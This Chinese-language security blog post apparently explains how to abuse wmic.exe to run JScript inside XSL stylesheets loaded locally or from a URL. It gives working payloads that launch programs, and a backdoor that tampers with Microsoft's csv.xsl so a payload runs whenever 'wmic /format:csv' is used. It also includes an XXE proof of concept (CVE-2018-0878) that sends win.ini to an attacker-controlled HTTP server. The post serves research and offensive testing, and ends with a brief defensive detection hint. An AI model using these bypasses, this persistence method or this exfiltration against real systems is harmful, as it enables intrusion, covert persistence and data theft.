利用wmic调用xsl文件的分析与利用
0x00 前言
Casey Smith@subTee在博客分享的一个技巧,使用wmic能够从本地或从URL调用XSL(可扩展样式表语言)脚本。这个发现很有用,不仅可以作为一种白名单绕过的方法,而且可以作为payload来使用(从URL调用XSL脚本,利用XSL执行exe、shellcode、powershell脚本)。
本文将要对该项技术进行测试,结合自己的经验对其扩展,分享一个后门利用的思路,介绍同XXE漏洞结合的使用方法。
博客地址:
https://subt0x11.blogspot.ca/2018/04/wmicexe-whitelisting-bypass-hacking.html?m=1
0x01 简介
本文将要介绍以下内容:
- 测试Casey Smith的方法
- 脚本分析,分析后门利用思路
- 编写后门利用脚本
- 同XXE漏洞的结合
0x02 测试Casey Smith的方法
本地:
wmic process list /FORMAT:evil.xsl
远程:
wmic os get /FORMAT:"https://example.com/evil.xsl"
xsl文件内容如下:
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
]]> </ms:script>
</stylesheet>
注:
0x03 脚本分析
查看xsl文件格式,发现类似于之前研究过的利用脚本(使用msxsl.exe执行xsl脚本,也是学习自Casey Smith),内容如下:
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
return nodelist.nextNode().xml;
}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>
注:
代码来源于https://gist.github.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d
我对该技术的分析文章链接:
https://3gstudent.github.io/3gstudent.github.io/Use-msxsl-to-bypass-AppLocker/
经测试,文章《Use msxsl to bypass AppLocker》中使用的xsl脚本和xml脚本wmic均支持,只是对后缀名有要求(必须是xsl文件)
实际测试:
执行:
wmic os get /format:"https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml"
执行失败,提示Invalid XSL format (or) file name.
脚本内容不变,后缀名改为xsl,再次执行:
wmic os get /format:"https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xsl"
执行成功,成功弹出计算器,如下图
补充: xsl和xml文件的异同
相同点:
语法规则基本相同,仅声明方式不同(以上测试代码未体现)
不同点:
用途不同,xml用于承载数据,xsl用户设置数据的格式
简单理解:
通过使用XSL可以向XML文件添加显示信息,使用XSL显示XML
0x04 后门利用思路
通过学习Casey Smith在博客中分享的研究思路,我想到了一个后门利用的思路
对于路径c:\Windows\System32\wbem
下的xsl文件
例如:
- csv.xsl
- htable.xsl
- texttable.xsl
同wmic命令的输出格式相对应,例如:
- wmic os get /format:csv
- wmic os get /format:htable
- wmic os get /format:texttable
那么,使用wmic命令在输出格式时是否会加载对应名称的xsl文件呢?
答案是肯定的
挑选其中的csv.xsl,内容如下:
<?xml version="1.0"?>
<!-- Copyright (c) Microsoft Corporation. All rights reserved. -->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:output encoding="utf-16" omit-xml-declaration="yes"/>
<xsl:param name="norefcomma"/>
<xsl:template match="/">
Node,<xsl:for-each select="COMMAND/RESULTS[1]/CIM/INSTANCE[1]//PROPERTY|COMMAND/RESULTS[1]/CIM/INSTANCE[1]//PROPERTY.ARRAY|COMMAND/RESULTS[1]/CIM/INSTANCE[1]//PROPERTY.REFERENCE"><xsl:value-of select="@NAME"/><xsl:if test="position()!=last()">,</xsl:if></xsl:for-each><xsl:apply-templates select="COMMAND/RESULTS"/></xsl:template>
<xsl:template match="RESULTS" xml:space="preserve"><xsl:apply-templates select="CIM/INSTANCE"/></xsl:template>
<xsl:template match="VALUE.ARRAY" xml:space="preserve">{<xsl:for-each select="VALUE"><xsl:apply-templates select="."/><xsl:if test="position()!=last()">;</xsl:if></xsl:for-each>}</xsl:template>
<xsl:template match="VALUE" xml:space="preserve"><xsl:value-of select="."/></xsl:template>
<xsl:template match="INSTANCE" xml:space="preserve">
<xsl:value-of select="../../@NODE"/>,<xsl:for-each select="PROPERTY|PROPERTY.ARRAY|PROPERTY.REFERENCE"><xsl:apply-templates select="."/><xsl:if test="position()!=last()">,</xsl:if></xsl:for-each></xsl:template>
<xsl:template match="PROPERTY.REFERENCE" xml:space="preserve"><xsl:apply-templates select="VALUE.REFERENCE"></xsl:apply-templates></xsl:template>
<xsl:template match="PROPERTY"><xsl:apply-templates select="VALUE"/></xsl:template>
<xsl:template match="PROPERTY.ARRAY"><xsl:for-each select="VALUE.ARRAY"><xsl:apply-templates select="."/></xsl:for-each></xsl:template>
<xsl:template match="VALUE.REFERENCE">"<xsl:apply-templates select="INSTANCEPATH/NAMESPACEPATH"/><xsl:apply-templates select="INSTANCEPATH/INSTANCENAME|INSTANCENAME"/>"</xsl:template>
<xsl:template match="NAMESPACEPATH">\\<xsl:value-of select="HOST/text()"/><xsl:for-each select="LOCALNAMESPACEPATH/NAMESPACE">\<xsl:value-of select="@NAME"/></xsl:for-each>:</xsl:template>
<xsl:template match="INSTANCENAME"><xsl:value-of select="@CLASSNAME"/><xsl:for-each select="KEYBINDING"><xsl:if test="position()=1">.</xsl:if><xsl:value-of select="@NAME"/>="<xsl:value-of select="KEYVALUE/text()"/>"<xsl:if test="position()!=last()"></xsl:if><xsl:if test="not($norefcomma="true")">,</xsl:if><xsl:if test="$norefcomma="true""><xsl:text> </xsl:text></xsl:if></xsl:for-each></xsl:template>
</xsl:stylesheet>
尝试在代码中添加payload,修改后的内容如下:
<?xml version="1.0"?>
<!-- Copyright (c) Microsoft Corporation. All rights reserved. -->
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">
<xsl:output encoding="utf-16" omit-xml-declaration="yes"/>
<xsl:param name="norefcomma"/>
<msxsl:script language="JScript" implements-prefix="user">
function myFunction() {
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
return "";
}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:myFunction()"/>
Node,<xsl:for-each select="COMMAND/RESULTS[1]/CIM/INSTANCE[1]//PROPERTY|COMMAND/RESULTS[1]/CIM/INSTANCE[1]//PROPERTY.ARRAY|COMMAND/RESULTS[1]/CIM/INSTANCE[1]//PROPERTY.REFERENCE"><xsl:value-of select="@NAME"/><xsl:if test="position()!=last()">,</xsl:if></xsl:for-each><xsl:apply-templates select="COMMAND/RESULTS"/></xsl:template>
<xsl:template match="RESULTS" xml:space="preserve"><xsl:apply-templates select="CIM/INSTANCE"/></xsl:template>
<xsl:template match="VALUE.ARRAY" xml:space="preserve">{<xsl:for-each select="VALUE"><xsl:apply-templates select="."/><xsl:if test="position()!=last()">;</xsl:if></xsl:for-each>}</xsl:template>
<xsl:template match="VALUE" xml:space="preserve"><xsl:value-of select="."/></xsl:template>
<xsl:template match="INSTANCE" xml:space="preserve">
<xsl:value-of select="../../@NODE"/>,<xsl:for-each select="PROPERTY|PROPERTY.ARRAY|PROPERTY.REFERENCE"><xsl:apply-templates select="."/><xsl:if test="position()!=last()">,</xsl:if></xsl:for-each></xsl:template>
<xsl:template match="PROPERTY.REFERENCE" xml:space="preserve"><xsl:apply-templates select="VALUE.REFERENCE"></xsl:apply-templates></xsl:template>
<xsl:template match="PROPERTY"><xsl:apply-templates select="VALUE"/></xsl:template>
<xsl:template match="PROPERTY.ARRAY"><xsl:for-each select="VALUE.ARRAY"><xsl:apply-templates select="."/></xsl:for-each></xsl:template>
<xsl:template match="VALUE.REFERENCE">"<xsl:apply-templates select="INSTANCEPATH/NAMESPACEPATH"/><xsl:apply-templates select="INSTANCEPATH/INSTANCENAME|INSTANCENAME"/>"</xsl:template>
<xsl:template match="NAMESPACEPATH">\\<xsl:value-of select="HOST/text()"/><xsl:for-each select="LOCALNAMESPACEPATH/NAMESPACE">\<xsl:value-of select="@NAME"/></xsl:for-each>:</xsl:template>
<xsl:template match="INSTANCENAME"><xsl:value-of select="@CLASSNAME"/><xsl:for-each select="KEYBINDING"><xsl:if test="position()=1">.</xsl:if><xsl:value-of select="@NAME"/>="<xsl:value-of select="KEYVALUE/text()"/>"<xsl:if test="position()!=last()"></xsl:if><xsl:if test="not($norefcomma="true")">,</xsl:if><xsl:if test="$norefcomma="true""><xsl:text> </xsl:text></xsl:if></xsl:for-each></xsl:template>
</xsl:stylesheet>
替换原文件,需要管理员权限
注:
csv.xsl的路径同系统语言版本有关,如果是英文系统,路径为C:\Windows\System32\wbem\en-US
,如果是中文系统,路径为C:\Windows\System32\wbem\zh-CN
测试使用wmic的输出格式命令:
wmic os get /format:csv
执行payload,如下图
0x05 同XXE漏洞的结合
XXE是XML External Entity attack的缩写
前不久一个和Windows相关的XXE漏洞:CVE-2018-0878
poc地址如下:
https://www.exploit-db.com/exploits/44352/
同样可在wmic命令上触发
漏洞测试:
1、使用kali linux建立httt服务器
python -m SimpleHTTPServer 8080
2、kali linux目录下创建文件xxe.xml
内容如下:
<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % root "<!ENTITY % oob SYSTEM 'http://192.168.62.140:8080/?%payload;'> ">
注:
kali linux的IP为192.168.62.140
3、创建payload.xsl
内容如下:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE zsl [
<!ENTITY % remote SYSTEM "http://192.168.62.140:8080/xxe.xml">
%remote;%root;%oob;]>
4、windows系统使用wmic加载该xsl文件
wmic os get /format:payload.xsl
执行失败,提示Invalid XSL format (or) file name.
然而,漏洞成功触发,服务器获得文件C:/windows/win.ini
的内容,如下图
0x06 小结
本文测试了使用wmic从本地或从URL调用XSL文件的方法,分享了一个后门利用的思路,并结合CVE-2018-0878对XXE漏洞进行了测试。
站在防御的角度,如果wmic.exe发起了网络连接,那么很有可能是加载了特殊xsl文件的原因,值得注意。
下一篇:CIA Hive Beacon Infrastructure复现2——使用Apache mod_rewrite实现https流量分发